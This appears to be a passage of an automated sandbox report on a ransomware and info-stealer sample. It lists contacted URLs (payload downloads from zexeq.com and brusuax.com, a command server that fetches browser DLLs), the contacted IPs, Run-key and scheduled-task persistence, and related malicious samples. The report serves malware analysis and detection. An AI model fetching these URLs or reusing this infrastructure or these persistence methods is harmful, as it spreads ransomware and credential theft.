http://zexeq.com/files/1/build3.exe$runXf	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.twitter.com/	kOVwcHSfrR.exe, 0000000C.00000003.1426124643.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/mozglue.dllh	build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/vcruntime140.dllalq&	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024Content-Disposition:	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://168.119.106.20:2024/mozglue.dllge	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDT	kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.openssl.org/support/faq.html	kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	kOVwcHSfrR.exe, 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDz	kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.106.20:2024/mozglue.dllware	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.tl/t-99MNqXMr	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.106.20/	build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/softokn3.dlle	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/nss3.dllw	build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonkZ	kOVwcHSfrR.exe, 0000000C.00000002.1865321659.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/8	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/msvcp140.dlle	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.reddit.com/	kOVwcHSfrR.exe, 0000000C.00000003.1426065018.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=truej	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.106.20:2024	build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.00000000004BE000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/msvcp140.dll	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2501122577.000000000316F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/-p	build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	build2.exe, 00000015.00000002.2505231741.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791183146.00000000030CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/freebl3.dll	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe$runNf	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.106.20:2024/softokn3.dller	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonf=lr$	kOVwcHSfrR.exe, 00000011.00000002.1462273789.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000003.1458255646.00000000008AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/My	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	kOVwcHSfrR.exe, 0000000C.00000003.1426008023.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/stemRoot=C:	kOVwcHSfrR.exe, 0000000C.00000002.1865321659.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	kOVwcHSfrR.exe, 00000007.00000002.1293830756.000000000066B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000003.1289707792.000000000067B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1462273789.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000003.1458255646.00000000008AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-99MNqXMrdS	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1864060856.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2500840632.000000000334C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.12.dr, _readme.txt0.12.dr	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/nss3.dll	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024Microsoft	build2.exe, 00000015.00000002.2496611102.00000000004BE000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/profiles/76561199592921038hello	build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/freebl3.dll8	build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/e	kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/mozglue.dll5	build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/Z	build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/vcruntime140.dll	build2.exe, 00000015.00000002.2496611102.000000000042D000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonS	kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/j	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/icrosoft	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/K	kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/vcruntime140.dller	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/M	kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/O	kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsong	kOVwcHSfrR.exe, 00000007.00000003.1289500918.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000003.1289545953.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/l.	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/oft	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/EdgeSaveCardFAQ	notification_fast.bundle.js.12.dr	false		high
https://api.2ip.ua/geo.jsonLE	kOVwcHSfrR.exe, 00000011.00000002.1462092093.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json;	kOVwcHSfrR.exe, 00000007.00000002.1293830756.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/softokn3.dll	build2.exe, 00000015.00000002.2501122577.000000000316F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json7	kOVwcHSfrR.exe, 00000011.00000002.1462092093.0000000000898000.00000004.00000020.00020000.00000000.sdmp	false		high
http://brusuax.com/dl/build2.exe$run	kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.youtube.com/	kOVwcHSfrR.exe, 0000000C.00000003.1426235146.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/z	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/EdgeVirtualCardFAQ	notification_fast.bundle.js.12.dr	false		high
https://steamcommunity.com/profiles/76561199592921038	build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/mozglue.dll	build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.106.20:2024/v	build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	kOVwcHSfrR.exe, 0000000C.00000003.1426180520.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsonN	kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/reebl3.dll	build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.live.com/	kOVwcHSfrR.exe, 0000000C.00000003.1425944337.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://168.119.106.20:2024/sqlite3.dll	build2.exe, 00000015.00000003.1791183146.00000000030E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://brusuax.com/dl/build2.exerund61fjaN	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/mcfuturehnymfsOpera/9.80	build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$runUf	kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonC	kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.google.com/	kOVwcHSfrR.exe, 0000000C.00000003.1425813325.0000000009680000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
186.182.55.44	zexeq.com	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	true
168.119.106.20	unknown	Germany	24940	HETZNER-ASDE	false
187.211.34.211	brusuax.com	Mexico	8151	UninetSAdeCVMX	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1371870
Start date and time:	2024-01-09 15:45:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kOVwcHSfrR.exe renamed because original name is a hash value
Original Sample Name:	26bd4a40d12d5483b5cf8a0a2db0dddb151b0b3206079dcf2782834482a2c3b7.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@23/1163@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 89% Number of executed functions: 27 Number of non-executed functions: 186
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 69.164.0.128, 23.221.227.28, 23.221.227.21
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:46:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
15:46:03	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe s>--Task
15:46:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
15:46:12	API Interceptor	1x Sleep call for process: kOVwcHSfrR.exe modified
15:46:47	API Interceptor	1x Sleep call for process: build2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Mk7woAn6lz.exe	Get hash	malicious	Babuk, Djvu	Browse
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse
	CUO2hN8U9N.exe	Get hash	malicious	Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	file.exe	Get hash	malicious	Babuk, Djvu	Browse
	UYUuh7vsdN.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Djvu, Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse
	O7Bptb2MyD.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	JgFgdY52fi.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	A7yXv6oIkf.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	sC46xlBFod.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	TSQPgl3der.exe	Get hash	malicious	Clipboard Hijacker, Djvu, RedLine, SmokeLoader	Browse
	QcC1Ld8qqF.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse
	kD1a6LDzuZ.exe	Get hash	malicious	Djvu, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	Babuk, DarkTortilla, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse
186.182.55.44	iJhVD1gfNa.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	gxutc2c.com/tmp/index.php
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	zexeq.com/files/1/build3.exe
	UiS7Aq9P48.exe	Get hash	malicious	Amadey	Browse	tceducn.com/forum/index.php
	file.exe	Get hash	malicious	Amadey	Browse	cbinr.com/forum/index.php
	pnhPESGhwt.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	7X8Zr9Jc2i.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	5hP4p0wpmv.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	ftpvoyager.cc/ftp/index.php
